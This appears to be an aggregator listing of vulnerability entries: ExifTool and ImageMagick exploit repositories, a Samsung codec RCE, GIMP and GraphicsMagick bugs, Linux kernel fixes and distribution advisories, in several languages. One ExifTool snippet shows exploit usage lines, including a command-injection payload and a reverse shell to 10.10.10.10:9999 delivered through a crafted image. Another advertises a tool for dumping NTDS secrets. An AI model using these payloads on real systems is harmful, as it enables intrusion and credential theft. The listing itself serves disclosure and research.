CVE-2021-22204

CVE-2021-22204 CVEの概要 ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの不適切なサニタイズにより、悪意のある画像を解析する際に任意のコード実行が可能になります。 影響を受けるバージョン バージョン 7.44 - 12.23 特記事項 依存関係: djvulibre-bin exiftool 以下の3つのコマンドを呼び出します: bzz, dvjumake, exiftool 参考文献 GitHub POC - Gustavo Dutra, 2021年5月11日 ケーススタディ: CVE-2021-22204 Exiftool RC...

exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

adiskreader-secretsdump

🚩 赞助商 如果你喜欢这个项目，请考虑购买 OctoPwn 的许可证，这是我们运行在浏览器中的完整渗透测试套件！ 有关新构建/版本和其他信息的通知，请加入我们的 Discord adiskreader-secretsdump 从本地或远程磁盘映像中提取注册表和 NTDS 机密 🚩 在浏览器中运行 该项目与许多其他渗透测试工具一起，借助 OctoPwn 的强大功能在浏览器中运行！ 在 OctoPwn - Live 查看社区版 安装 git clone 然后 pip install . 用法 首先，你必须从此处手动安装 adiskreader 项目，因为它尚未打包到 pip 上。...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

CVE-2022-44268-automated-poc

CVE-2022-44268 ImageMagick Lettura Arbitraria di File poc Completamente Automatizzato ⚙ Una vulnerabilità di divulgazione di informazioni che potrebbe essere sfruttata per leggere file arbitrari da un server durante l'analisi di un'immagine. Versione di ImageMagick interessata root@kitploit:...

Samsung-CVE-2025-21042

🔐 CVE-2025-21042 — Esecuzione di codice remoto nel codec immagini Samsung ⚙️ Cos'è Una vulnerabilità critica nella libreria di elaborazione immagini di Samsung libimagecodec.quram.so — utilizzata sui dispositivi Galaxy Android. 🧩 È un difetto di scrittura fuori dai limiti out-of-bounds write...

CVE-2026-78465

An integer overflow in the file-pcx plugin of GIMP affects 32-bit builds only . When a crafted PCX image file sets the number of color planes to 4 alongside sufficiently large dimensions, the memory allocation size calculation exceeds the 32-bit integer limit, producing an undersized heap buffer ...

CVE-2026-77118

A heap out-of-bounds write exists in the Photo CD PCD decoder of GraphicsMagick. In DecodeImage coders/pcd.c, the Huffman delta loop advances its output pointer with q++ after every decoded delta and never checks it against the end of the heap-allocated luma/chroma plane buffers. The pointer is...

MINI-CV28-GHF4-WGHC

Bulletin has no description...

DEBIAN-CVE-2026-74552

In the Linux kernel, the following vulnerability has been resolved: hwmon: lm90 Only report alarms if driver is ready Userspace can read sysfs attributes before driver registration is complete, immediately after devmhwmondeviceregisterwithinfo has been called. At that time, data-hwmondev is not y...

DEBIAN-CVE-2026-74407

In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: cancel SSR work items during PCI shutdown A reboot can crash the kernel if it overlaps with WLAN firmware crash recovery SSR. The crash is a NULL pointer dereference in the MHI teardown path while freeing DMA-backed...

DEBIAN-CVE-2026-74314

In the Linux kernel, the following vulnerability has been resolved: bpf: Cancel special fields on map value recycle Map update and delete paths currently call bpfobjfreefields when a value is being replaced or recycled. That makes field destruction depend on the context of the update/delete...

DEBIAN-CVE-2026-72491

In the Linux kernel, the following vulnerability has been resolved: net/9p: fix race condition on rdma-state in transrdma.c The rdma-state field is modified without holding reqlock in both recvdone and p9cmeventhandler, while rdmarequest accesses the same field under the reqlock spinlock. This...

DEBIAN-CVE-2026-72405

In the Linux kernel, the following vulnerability has been resolved: net: udptunnel: prevent double queueing in udptunnelnicdevicesync Yue Sun reported a use-after-free and debugobjects warning in udptunnelnicdevicesyncwork during concurrent device operations. The workqueue core clears the interna...

DEBIAN-CVE-2026-72266

In the Linux kernel, the following vulnerability has been resolved: fbdev: vesafb: fix memory leak in vesafbprobe Since commit 73ce73c30ba9 "fbdev: Transfer video= option strings to caller; clarify ownership" the string returned from fbgetoptions is expected to be freed by the caller. But the...

FreeBSD : OpenEXR -- 3.4.14 fixes multiple vulnerabilities (56449320-97c5-11f1-84d7-3c7c3fba4204)

The version of FreeBSD installed on the remote host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the 56449320-97c5-11f1-84d7-3c7c3fba4204 advisory. Cary Phillips reports: The OpenEXR 3.4.14 release addresses the following security...

Important: Red Hat Security Advisory: compat-libtiff3 security update

An update for compat-libtiff3 is now available for Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions and Red Hat Enterprise Linux 8.8 Telecommunications Update Service. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability...

Important: Red Hat Security Advisory: compat-libtiff3 security update

An update for compat-libtiff3 is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Important. A Common...

Exploit for Out-of-bounds Write in Apple Ipados

CVE-2026-28956 Donate Support the maintenance of this pro...

DEBIAN-CVE-2026-68224

In the Linux kernel, the following vulnerability has been resolved: media: mali-c55: Fix possible ERRPTR in enablestreams The mediapadremotepadunique function returns either a valid pointer or an ERRPTR on failure -ENOTUNIQ if multiple links are enabled, -ENOLINK if no connected pad is found. The...